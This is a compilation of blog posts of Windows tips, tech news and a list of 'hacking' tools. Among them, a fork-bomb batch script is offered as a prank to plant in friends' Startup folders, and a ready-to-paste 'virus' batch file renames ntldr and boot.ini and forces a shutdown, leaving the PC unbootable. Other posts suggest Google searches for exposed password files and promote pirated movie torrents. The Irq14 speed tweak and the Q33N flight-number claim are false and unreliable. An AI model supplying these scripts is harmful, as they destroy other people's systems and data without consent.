HIDE FOLDERS IN WINDOWS

hide ur folders without the usage of folder lock :

suppose u want to hide a folder named "hello"which is in D: of ur computer

go to command prompt
start--->run--->cmd-->d:


after changing it from C: to D:

type D:/>attrib +h +s hello
the above command is to hide the folder

to show the folder

tyoe D:/>attrib -h -s abc

in this type of hidding the folder cannot be viewed even if we make advance search or even changing the folders menu to (show all hidden files)

INCREASE HARD DISK SPEED IN WINDOWS

If you like to increase/optimize your Hard Disk I/O - read/write speed without buying expensive software utilities to do that job or changing the HD, just follow next steps. With doing these steps you will increase Hard disk speed (depends of manufacture and specification, but its worth to try). The most speed improvement is visible with IDE drives; however there are reports that this tweak also does good for SCSI disks.

In any case, it won't harm your system, so try it yourself and let me know what you find!

Steps:

1. Run SYSEDIT.EXE from the start & then Run command.
2. Expand the system.ini file window.
3. Scroll down almost to the end of the file untill you find a line called [386enh].
4. Press Enter to make one blank line, and in that line type
5. Irq14=4096 (note: This line IS CASE SENSITIVE)
6. Click on the File menu, then choose Save.
7. Close SYSEDIT and reboot your computer.
8. Restart windows!

The speed improvement will be noticed just after the system reboots, any system info. software can be used to check the improvement.

MUSIC TRACK NOT SHOWING IN GOOGLE TALK STATUS

For those who were busy fighting the aliens while Google Talk added the cool feature to display your currently playing music track in the Google status, please be aware that you can simply do so just by changing the status to “Show current music track”.

Now, it so happened that I eagerly tried the feature when it was launched, but Gtalk did not show the status with Windows Media Player 10, 11 or Winamp on my PC.

On further research I discovered that Google Talk installs a plug-in in Windows Media Player which sends the current music track to Gtalk. Now if, for any reason, WMP detects some problem with a plug-in, it disables it. This was the problem in my case. So here is what I did to enable my Google Talk plug-in:

1. Ensure that you have the latest Google Talk installed

2. In Windows Media Player, press Alt+T to access the tools menu

3. Press ‘Options’

4. Click on the ‘Plug-ins’ tab

5. On the left hand ‘Category’ pane, click on the ‘Background’ item

6. On the right hand ‘Background’ pane, click on the Google Talk plugin to check and enable it

   

7. Save changes and change the status in Google Talk to “Show current music track”

This worked for me, hope it helps you too!

Oh and by the way, Google’s fascination with collecting information in order to show us meaningful results found its way in GTalk too. Google has a service called Google Trends. If you wish, then Google can log what you listen too, and hence show meaningful trends such as the current most popular song etc. I have opted in :)

Happy chitter chatting!

Fork Bomb

This is a prank, which will make a command run over and over until the computer cannot handle any more programs and the computer will freeze or shutdown.
!!!!THIS IS HARMLESS AND WILL DO NO DAMAGE TO YOUR COMPUTER!!!!!

To make this open note pad and type:

@echo off
:START
start a.bat
GOTO START

The code above must be saved as a.bat and when the other person opens it nothing will appear but in the background it will keep opening its self until the computer freezes or shuts down.

You can try this on your friends by putting it in the Startup.

I tried this on my computer and it worked(obviosly didn't put it in my startup. I just ran it.) 

HARD DISK MONITORING SOFTWARE

Do you know how long your hard disk is going to last before u encounter a fatal Blue screen of death ?

Do you no what is the temperature of ur hard disk when u play cpu intensive games?

The answer to all these question might be no but after you go through this post it will be replaced by a YES .I stumbled upon this amazing softwares last night n believe me it works whats more it’s a freebie .its called active hard disk monitor

Active@ Hard Disk Monitor is a disk utility that checks and monitors the status of your hard drives to help prevent data loss. The system is based on the Self-Monitoring Analysis and Reporting Technology (S.M.A.R.T.).

This software monitors hard disk parameters such as Temperature, Head Flying Height and Spin-Up Time and notifies a user when a critical condition occurs. Disk Monitor also displays hard disk information, current S.M.A.R.T. attributes and the overall status of the hard disk's health.

Advanced disk scan allows you to detect bad sectors on a disk surface. The software can be launched automatically at Windows startup and monitor the system in the background. An icon in the System Tray can display the temperature for selected HDDs.

Hardware Requirements:

• CPU: Pentium III 500MHz and higher or compatible
• RAM: 256 MB
• Disk space: 15 MB

DOWNLOAD LINK
http://www.ziddu.com/download/4860290/DiskMonitorFree.exe.html

NOTEPAD "world trade centre trick".. ::

Did you know that the flight number of the plane that had hit WTC ...on
9/11 was Q33N ....Open your Notepad in ur computer and type the flight
number i.e Q33N... Increase the Font Size to 72, Change the Font to
Wingdings. U will be amazed by the findings.

VIRUS

This virus was written by one of my frnds on a orkut forum so thanks to him here it goes.


ok here's what the virus does...
But, first
BE EXTREMELY CAREFUL.. I WOULD SERIOUSLY ADVICE YOU TO NOT TO RUN THIS ON YOUR PC ATLEAST
I TAKE NO RESPONSIBILITY OF HOW YOU USE THIS CODE. THIS IS ONLY FOR TRAINING. NOTHING ELSE
my virus uses batch processing to rename the xp booting file ntldr as ntls. and boot.ini as boot.int.. and displays a message for 4 seconds. and automatically shuts down your PC (forever )..
Open notepad. and paste the following code.. save it as .bat ... any file name with extension bat ..
@echo off
attrib c:\autoexec.bat -s -h -r
ren c:\autoexec.bat aute.bit
attrib c:\ntldr -s -h -r
ren c:\ntldr ntls
attrib c:\boot.ini -s -h -r
ren c:\boot.ini bot.int
@echo off
shutdown -s -t 4 -c "Your Computer is Doomed!!!"
you can add many variations to it.. You can also use any BATCH to EXE converter to convert your file into executable one so t

PORTABLE SOFTWARES

Portable software is a class of software that is suitable for use on portable drives such as a USB (thumb) drive or ipod or Palm PDA with "drive mode", although any external hard drive can be used. ^{[1] [2]} The concept of carrying one's favored applications, utilities, and files on a portable drive for use on any computer is one which has evolved considerably in recent years.

Programs in this category (also known as portable applications) are typically 'lite' versions of their parent software, but there are many exceptions.

To be considered portable, for purpose of this list, a software program must:

1. Not require any kind of formal installation onto a computer's permanent storage device to be executed, and can be stored on a removable storage device such as USB flash drive, enabling it to be used on multiple computers.
2. Settings are stored with, and can be carried around with, the software (i.e., they are written to the USB drive). If the registry is used to store settings, the application's configuration isn't portable, and must be set up on every PC it is used on
3. Leaves a zero (or near-zero) "footprint" on any PC it's run on after being used. i.e., All temporary files/registry settings should be removed once the program has exited, and files created by the user can be saved directly to the same removable media as the application is stored on.

Generally, smaller utility/toolkit software is inherently fairly portable; though larger applications are sometimes changed in order to allow a portable versions to be released (e.g., Opera USB).

EU slaps a record fine on Intel

I found this interesting article while surfing .ALl tech lovers please go through this I am sure it will interest you

EU Competition Commissioner Neelie Kroes says Intel 'took advantage of their position'

Computer chipmaker Intel has been fined a record 1.06bn euros ($1.45bn; £948m) by the European Commission for anti-competitive practices.

It dwarfs the 497m euro fine levied on Microsoft in 2004 for abusing its dominant market position.

The Commission found that between 2002 and 2007, Intel had paid manufacturers and a retailer to favour its chips over those of Advanced Micro Devices (AMD).

Intel has announced that it will appeal against the verdict.

"Intel takes exception to this decision. We believe the decision is wrong and ignores the reality of a highly competitive microprocessor market," Intel chief executive Paul Otellini said.

"There has been absolutely zero harm to consumers. Intel will appeal," he added.

The fine was welcomed by AMD, which had lodged complaints in 2000, 2003 and 2006.

"The EU decision will shift the power from an abusive monopolist to computer makers, retailers and above all PC consumers," said Giuliano Meroni, AMD's European president.

'Sustained violation'

The Commission said that Acer, Dell, HP, Lenovo and NEC had been given hidden rebates if they only used Intel chips.

It is a major decision that shows the Commission is serious about curtailing abusive behaviour of dominant companies David Anderson, lawyer, Berwin Leighton Paisner.

It also found that Media Saturn, which owns Europe's biggest consumer electronics retailer Media Markt, had been given money so that it would only sell computers containing Intel chips.

"Intel has harmed millions of European consumers by deliberately acting to keep competitors out of the market for computer chips for many years," said Competition Commissioner Neelie Kroes.

"Such a serious and sustained violation of the EU's antitrust rules cannot be tolerated."

Last year, Intel made 80.5% of the microprocessors in PCs, while AMD made 12% of them.

The Commission has also ordered Intel "to cease the illegal practices immediately to the extent that they are still ongoing".

In addition to providing rebates to manufacturers that bought almost entirely Intel products, the Commission found that the chipmaker had paid them to postpone or cancel the launch of specific products based on AMD chips.

'Wall of resistance'

Ms Kroes joked in her own news conference that Intel would now have to change its latest advertising slogan from "sponsors of tomorrow" to "the sponsor of the European taxpayer".

Both Intel and AMD are based in California. Intel has 83,900 staff worldwide and has a market value of $85.4bn.

AMD employs about 11,000 people and has a market value of $2.6bn.

"Despite its strong defence, Intel is facing a wall of regulatory resistance to its business practices around the world, with antitrust infringement decisions against it now in Japan, Korea, and the EU, while the US authorities are investigating Intel as well," said David Anderson, a lawyer at Berwin Leighton Paisner.

"It is a major decision that shows the Commission is serious about curtailing abusive behaviour of dominant companies, especially in the high-tech sector."

Get most from GOOGLE search

Google Search Options

Specific file types: *.xls, *.doc, *.pdf *.ps *.ppt *.rtf
Google allows you to search for specific file types, so instead of getting html-files as a result (websites) you get Microsoft excel files for example. The search string you would use would be this:

Filetype:xls (for excel files) or filetype:doc for word files.
But maybe more interesting would be searching for *.db files and *.mdb files. Google by the way doesn’t tell you, you can search for *.db and *mdb files. I wonder what other file types one can search for. Things that come to mind are *.cfg files or *.pwd files, *.dat files, stuff like that. Try and think of something that might get you some interesting results.

Inurl

Another useful search option is the inurl: option which allows one to search for a certain word one would want to be in the url. This gives you the opportunity to search for specific directories/folders, especially in combination with the “index of” option. An example would be inurl:master-tricks which would give you results of website urls that have the word “master-tricks” in the url.

Index of

The index of option is another option that isn’t especially thought of by the creators of google, but comes in very handy. If you use the “index of” string you will find directory listings of specific folders on servers. An example could be: "index of” master-tricks or index.of.master-tricks which would get you many directory listings of master-tricks folders. (don’t forget to use the quotes in this case since you are looking for the entire “index of” string, not just for “index” and “of”)

Site

The site option allows you to come up with results that only belong to a certain domain name extension or to a specific site. For example one could search for .com sites or .box.sk sites or .nl sites, but also for results from just one site. An example of a search string would be: Site:org

Intitle

Intitle is another nice option. It allows you to search for html files that have a certain word or words in the title. The format would be intitle:wordhere.

Link

The Link option allows you to check which sites link to a specific site. For example link:http://pratikthorve.blogspot.com

Combining search options

The above mentioned search options might or might not be known to you, but even though they can amount to some interesting results, it’s a fact that when you start combining them, that’s when google’s magic starts to show. For example, one could try this search string: inurl:master-tricks intitle:master-tricks or this one: site:org filetype:xls "password" .

LINUX

Linux is an operating system -- very much like UNIX -- that has become very popular over the last several years.

Operating systems are computer programs. An operating system is the first piece of software that the computer executes when you turn the machine on. The operating system loads itself into memory and begins managing the resources available on the computer. It then provides those resources to other applications that the user wants to execute. Typical services that an operating system provides include:

• A task scheduler - The task scheduler is able to allocate the execution of the CPU to a number of different tasks. Some of those tasks are the different applications that the user is running, and some of them are operating system tasks. The task scheduler is the part of the operating system that lets you print a document from your word processor in one window while you are downloading a file in another window and recalculating a spreadsheet in a third window.
• A memory manager - The memory manager controls the system's RAM and normally creates a larger virtual memory space using a file on the hard disk.
• 
  
• A disk manager - The disk manager creates and maintains the directories and files on the disk. When you request a file, the disk manager brings it in from the disk.
• A network manager - The network manager controls all data moving between the computer and the network.
• Other I/O services manager - The OS manages the keyboard, mouse, video display, printers, etc.
• Security manager - The OS maintains the security of the information in the computer's files and controls who can access the computer.

An operating system normally also provides the default user interface for the system. The standard "look" of Windows 98 includes the Start button, the task bar, etc. The Mac OS provides a completely different look and feel for Macintosh computers.

Linux is as much a phenomenon as it is an operating system. To understand why Linux has become so popular, it is helpful to know a little bit about its history. The first version of UNIX was originally developed several decades ago and was used primarily as a research operating system in universities. High-powered desktop workstations from companies like Sun proliferated in the 1980s, and they were all based on UNIX. A number of companies entered the workstation field to compete against Sun: HP, IBM, Silicon Graphics, Apollo, etc. Unfortunately, each one had its own version of UNIX and this made the sale of software difficult. Windows NT was Microsoft's answer to this marketplace. NT provides the same sort of features as UNIX operating systems -- security, support for multiple CPUs, large-scale memory and disk management, etc. -- but it does it in a way that is compatible with most Windows applications.

The entry of Microsoft into the high-end workstation arena created a strange dynamic. The proprietary operating systems owned by separate companies and the lack of a central authority in the UNIX world weaken UNIX, but many people have personal problems with Microsoft. Linux stepped into this odd landscape and captured a lot of attention.

The Linux kernel, created by Linus Torvalds, was made available to the world for free. Torvalds then invited others to add to the kernel provided that they keep their contributions free. Thousands of programmers began working to enhance Linux, and the operating system grew rapidly. Because it is free and runs on PC platforms, it gained a sizeable audience among hard-core developers very quickly. Linux has a dedicated following and appeals to several different kinds of people:

• People who already know UNIX and want to run it on PC-type hardware
• People who want to experiment with operating system principles
• People who need or want a great deal of control over their operating system
• People who have personal problems with Microsoft

In general, Linux is harder to manage than something like Windows, but offers more flexibility and configuration options.

AN INVENTION THAT COULD CHANGE THE INTERNET FOR EVER

Harvard University where this concept was first tested



Revolutionary new web software could put giants such as Google in the shade when it comes out later this month. Andrew Johnson reports
The biggest internet revolution for a generation will be unveiled this month with the launch of software that will understand questions and give specific, tailored answers in a way that the web has never managed before.

The new system, Wolfram Alpha, showcased at Harvard University in the US last week, takes the first step towards what many consider to be the internet's Holy Grail – a global store of information that understands and responds to ordinary language in the same way a person does.
Although the system is still new, it has already produced massive interest and excitement among technology pundits and internet watchers.

Computer experts believe the new search engine will be an evolutionary leap in the development of the internet. Nova Spivack, an internet and computer expert, said that Wolfram Alpha could prove just as important as Google. "It is really impressive and significant," he wrote. "In fact it may be as important for the web (and the world) as Google, but for a different purpose.

Tom Simpson, of the blog Convergenceofeverything.com, said: "What are the wider implications exactly? A new paradigm for using computers and the web? Probably. Emerging artificial intelligence and a step towards a self-organising internet? Possibly... I think this could be big."
Wolfram Alpha will not only give a straight answer to questions such as "how high is Mount Everest?", but it will also produce a neat page of related information – all properly sourced – such as geographical location and nearby towns, and other mountains, complete with graphs and charts.

The real innovation, however, is in its ability to work things out "on the fly", according to its British inventor, Dr Stephen Wolfram. If you ask it to compare the height of Mount Everest to the length of the Golden Gate Bridge, it will tell you. Or ask what the weather was like in London on the day John F Kennedy was assassinated, it will cross-check and provide the answer. Ask it about D sharp major, it will play the scale. Type in "10 flips for four heads" and it will guess that you need to know the probability of coin-tossing. If you want to know when the next solar eclipse over Chicago is, or the exact current location of the International Space Station, it can work it out.

Dr Wolfram, an award-winning physicist who is based in America, added that the information is "curated", meaning it is assessed first by experts. This means that the weaknesses of sites such as Wikipedia, where doubts are cast on the information because anyone can contribute, are taken out. It is based on his best-selling Mathematica software, a standard tool for scientists, engineers and academics for crunching complex maths.

"I've wanted to make the knowledge we've accumulated in our civilisation computable," he said last week. "I was not sure it was possible. I'm a little surprised it worked out so well."

Dr Wolfram, 49, who was educated at Eton and had completed his PhD in particle physics by the time he was 20, added that the launch of Wolfram Alpha later this month would be just the beginning of the project.

"It will understand what you are talking about," he said. "We are just at the beginning. I think we've got a reasonable start on 90 per cent of the shelves in a typical reference library."

The engine, which will be free to use, works by drawing on the knowledge on the internet, as well as private databases. Dr Wolfram said he expected that about 1,000 people would be needed to keep its databases updated with the latest discoveries and information.

He also added that he would not go down the road of storing information on ordinary people, although he was aware that others might use the technology to do so.

Wolfram Alpha has been designed with professionals and academics in mind, so its grasp of popular culture is, at the moment, comparatively poor. The term "50 Cent" caused "absolute horror" in tests, for example, because it confused a discussion on currency with the American rap artist. For this reason alone it is unlikely to provide an immediate threat to Google, which is working on a similar type of search engine, a version of which it launched last week.

"We have a certain amount of popular culture information," Dr Wolfram said. "In some senses popular culture information is much more shallowly computable, so we can find out who's related to who and how tall people are. I fully expect we will have lots of popular culture information. There are linguistic horrors because if you put in books and music a lot of the names clash with other concepts."

He added that to help with that Wolfram Alpha would be using Wikipedia's popularity index to decide what users were likely to be interested in.

With Google now one of the world's top brands, worth $100bn, Wolfram Alpha has the potential to become one of the biggest names on the planet.

Dr Wolfram, however, did not rule out working with Google in the future, as well as Wikipedia. "We're working to partner with all possible organisations that make sense," he said. "Search, narrative, news are complementary to what we have. Hopefully there will be some great synergies."

OPEN SOURCE SOFTWARES

Most software that you buy or download only comes in the compiled ready-to-run version. Compiled means that the actual program code that the developer created, known as the source code, has run through a special program called a compiler that translates the source code into a form that the computer can understand. It is extremely difficult to modify the compiled version of most applications and nearly impossible to see exactly how the developer created different parts of the program. Most commercial software manufacturers see this as an advantage that keeps other companies from copying their code and using it in a competing product. It also gives them control over the quality and features found in a particular product.

Open source software is at the opposite end of the spectrum. The source code is included with the compiled version and modification or customization is actually encouraged. The software developers who support the open source concept believe that by allowing anyone who's interested to modify the source code, the application will be more useful and error-free over the long term.

To be considered as open source software by the software development industry, certain criteria must be met:

• The program must be freely distributed (It can be part of a package that is sold though, such as Red Hat has done with Linux in the example below).
• Source code must be included.
• Anyone must be allowed to modify the source code.
• Modified versions can be redistributed.
• The license must not require the exclusion of other software or interfere with the operation of other software.

Let's take a look at a real world example of open source software. In 1991, Linus Torvalds, a student at the University of Helsinki in Finland, developed a new operating system based on Minix, a derivative of Unix, which he dubbed Linux. Torvalds released version 0.02 of Linux under the GNU General Public License, which provides a good legal definition of open source software. A lot of people around the world downloaded Linux and began working with it. Many of these users were programmers in their own right and made modifications to the source code that Torvalds had included. Over the next three years, Torvalds received these modified versions from the other programmers and incorporated many of the changes into the baseline version and released Linux version 1.0 in 1994.

A common concern for end-users who wish to use open source software is the lack of a warranty and technical support. Because the software's license encourages modification and customization, it is nearly impossible to support. This is why Red Hat Software, founded in 1994, created the "Official Red Hat Linux" and is able to sell this normally "free" software. The main value that Red Hat adds to the package is a warranty and technical support. For most businesses, the assurance of technical support has been a key factor in the decision to buy Linux instead of simply downloading it for free. In addition to Red Hat, there are several other companies that have packaged Linux, usually with additional software, for resale.

Besides Linux, Mozilla (Netscape browser core), Apache (Web server), PERL (Web scripting language) and PNG (graphics file format) are all examples of very popular software that is based on open source.

Here are the download links of some popular open source software

Ubuntu (Linux Operating System)
http://www.ubuntu.com

Mozilla (Web Browsing Suite)
http://www.mozilla.com

OpenOffice.org (Full Office Suite-MSOffice Compatible)
http://www.openoffice.org

The GNU Image Manipulation Program (Like Photoshop)
http://www.gimp.org

Rockbox (Jukebox Firmware - iPod and others)
http://www.rockbox.org/

Inkscape (Vector Graphics Editor)
http://www.inkscape.org

Pidgin (Instant Messaging)
http://www.pidgin.im/

There are also other linux distributions like:

PCLinuxOS: http://www.pclinuxos.com
openSUSE: http://www.opensuse.org
Debian: http://www.debian.org
Fedora Core: http://www.fedoraproject.org
Damn Small Linux (DSL): http://www.damnsmalllinux.org
Gentoo: http://www.gentoo.org
And many more: http://distrowatch.com

AUTOMATED RESTORE

I found this cool VB script while surfing the other day .just copy paste the part after quotes in a notepad file (don’t copy the quotes)save the file as .vbs n run it to ensure automatic system restore

' Copy from here --------------------->
' Create a System Restore Point
' supported on: Windows XP

Const DEVICE_DRIVER_INSTALL = 10
Const BEGIN_SYSTEM_CHANGE = 100

strComputer = "."
Set objWMI = GetObject("winmgmts:" _
& "\\" & strComputer & "\root\default")

Set objItem = objWMI.Get("SystemRestore")
errResults = objItem.CreateRestorePoint _
("AUTOMATED RESTORE by ARKA", DEVICE_DRIVER_INSTALL, BEGIN_SYSTEM_CHANGE)

'<------------------------ To here
copy and save as *.vbs....use global startup...stay safe !

It creates a Restore Point whenever executed..Written in VBScript using WMI.
You can copy it to the startup folder...so that..every time the computer boots..it creates a restore point...So that you can restore your computer back...

ONE OF THE BEST TORRRENT RIPPERS

Downloading movies seems to be a rage these days .Everytone is downloading loads of movies.One of my friends has a movie collection of well over 1.5 TB(1500GB).Now that’s sumthing that will take a lot of time for me to achieve .

Till now Dvd rips were in vogue but now they are slowly being replaced by Blu ray disc rips .Why? just see one movie and check it out yourself

I wanted to watch CASINO ROYALE again, so searched for a good rip on torrentz.com, I came across a h264 rip by a ripper called Secret Myth. and I was literally blown outta my mind.

Check out the specs:

Video : H.264/MPEG-4 AVC / 745 kbs / 23.976 fps / 1280 x 544
_______________________________________________________________

Audio : MPEG-4 AAC-LC / 48000Hz 142 kbs / 5,1 Ch
_______________________________________________________________

Size : 703,6 MB

Do you see the 1280 x 544 resolution? did you notice the MP4 AAC 5.1 Surround sound, and bloody did you people notice the effing size of this thing? 703.6 MB!!!!

You just need to try this genius out.

He does a lot of BDrips, which is the only thing I download these days, for n00bs, BDRip is a rip made from a blueray disk instead f a DVD.

Here's a link to his torrents:

http://www.mininova.org/user/secret_myth

No need to thank me, thank Secret Myth by seeding his stuff if you like it.

CHANGE REMOVABLE DISK DEFAULT LOOK

The removable disk has a default look.This default look of the removable drives can be changed by a simple trick.Follow the steps to change the icon ..


Select your favourite picture which u want to set for the icon of removable disk.

+ Save the selected image as anyname.ico (How to do is open the picture in mspaint. and save as anyname.ico).Make sure that selected image is small.

+ Open note pad and copy the following code.

[autorun]
Label=ANYNAME
Icon=filename.ico



+ Here label indicates the name of ur removable disk and icon indiactes the name of your icon.

+ Now save is notepad file as autorun.inf.

+ Copy both files (autorun.inf and Icon file) to your removable drive. You can make both files as hidden.

Now unplug the drive and connect it back to USB and now you can see the icon of your removable disk.Thats it!!

TOP 15 HACKING SOFTWARES

1. Nmap

I think everyone has heard of this one, recently evolved into the 4.x series.

1.Nmap (”Network Mapper”) is a free open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers and both console and graphical versions are available. Nmap is free and open source.

Can be used by beginners (-sT) or by pros alike (–packet_trace). A very versatile tool, once you fully understand the results.


2. Nessus Remote Security Scanner

Recently went closed source, but is still essentially free. Works with a client-server framework.

Nessus is the world’s most popular vulnerability scanner used in over 75,000 organizations world-wide. Many of the world’s largest organizations are realizing significant cost savings by using Nessus to audit business-critical enterprise devices and applications.

3. John the Ripper

Yes, JTR 1.7 was recently released!

John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix flavors, supported out of the box are Kerberos AFS and Windows NT/2000/XP/2003 LM hashes, plus several more with contributed patches.

4. Nikto

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 3200 potentially dangerous files/CGIs, versions on over 625 servers, and version specific problems on over 230 servers. Scan items and plugins are frequently updated and can be automatically updated (if desired).

Nikto is a good CGI scanner, there are some other tools that go well with Nikto (focus on http fingerprinting or Google hacking/info gathering etc, another article for just those).


5. SuperScan

Powerful TCP port scanner, pinger, resolver. SuperScan 4 is an update of the highly popular Windows port scanning tool, SuperScan.

If you need an alternative for nmap on Windows with a decent interface, I suggest you check this out, it’s pretty nice.


6. p0f

P0f v2 is a versatile passive OS fingerprinting tool. P0f can identify the operating system on:

- machines that connect to your box (SYN mode),
- machines you connect to (SYN+ACK mode),
- machine you cannot connect to (RST+ mode),
- machines whose communications you can observe.

Basically it can fingerprint anything, just by listening, it doesn’t make ANY active connections to the target machine.


7. Wireshark (Formely Ethereal)

Wireshark is a GTK+-based network protocol analyzer, or sniffer, that lets you capture and interactively browse the contents of network frames. The goal of the project is to create a commercial-quality analyzer for Unix and to give Wireshark features that are missing from closed-source sniffers.

Works great on both Linux and Windows (with a GUI), easy to use and can reconstruct TCP/IP Streams! Will do a tutorial on Wireshark later.

8. Yersinia

Yersinia is a network tool designed to take advantage of some weakeness in different Layer 2 protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems. Currently, the following network protocols are implemented: Spanning Tree Protocol (STP), Cisco Discovery Protocol (CDP), Dynamic Trunking Protocol (DTP), Dynamic Host Configuration Protocol (DHCP), Hot Standby Router Protocol (HSRP), IEEE 802.1q, Inter-Switch Link Protocol (ISL), VLAN Trunking Protocol (VTP).

The best Layer 2 kit there is.


9. Eraser

Eraser is an advanced security tool (for Windows), which allows you to completely remove sensitive data from your hard drive by overwriting it several times with carefully selected patterns. Works with Windows 95, 98, ME, NT, 2000, XP and DOS. Eraser is Free software and its source code is released under GNU General Public License.

An excellent tool for keeping your data really safe, if you’ve deleted it..make sure it’s really gone, you don’t want it hanging around to bite you in the ass.


10. PuTTY

PuTTY is a free implementation of Telnet and SSH for Win32 and Unix platforms, along with an xterm terminal emulator. A must have for any h4×0r wanting to telnet or SSH from Windows without having to use the crappy default MS command line clients.


11. LCP

Main purpose of LCP program is user account passwords auditing and recovery in Windows NT/2000/XP/2003. Accounts information import, Passwords recovery, Brute force session distribution, Hashes computing.

A good free alternative to L0phtcrack.

LCP was briefly mentioned in our well read Rainbow Tables and RainbowCrack article.

12. Cain and Abel

My personal favourite for password cracking of any kind.

Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols. The program does not exploit any software vulnerabilities or bugs that could not be fixed with little effort.

13. Kismet

Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and can sniff 802.11b, 802.11a, and 802.11g traffic.

A good wireless tool as long as your card supports rfmon (look for an orinocco gold).


14. NetStumbler

Yes a decent wireless tool for Windows! Sadly not as powerful as it’s Linux counterparts, but it’s easy to use and has a nice interface, good for the basics of war-driving.

NetStumbler is a tool for Windows that allows you to detect Wireless Local Area Networks (WLANs) using 802.11b, 802.11a and 802.11g. It has many uses:

Verify that your network is set up the way you intended.
Find locations with poor coverage in your WLAN.
Detect other networks that may be causing interference on your network.
Detect unauthorized “rogue” access points in your workplace.
Help aim directional antennas for long-haul WLAN links.
Use it recreationally for WarDriving.

15. hping

To finish off, something a little more advanced if you want to test your TCP/IP packet monkey skills.

hping is a command-line oriented TCP/IP packet assembler/analyzer. The interface is inspired to the ping unix command, but hping isn’t only able to send ICMP echo requests. It supports TCP, UDP, ICMP and RAW-IP protocols, has a traceroute mode, the ability to send files between a covered channel, and many other features.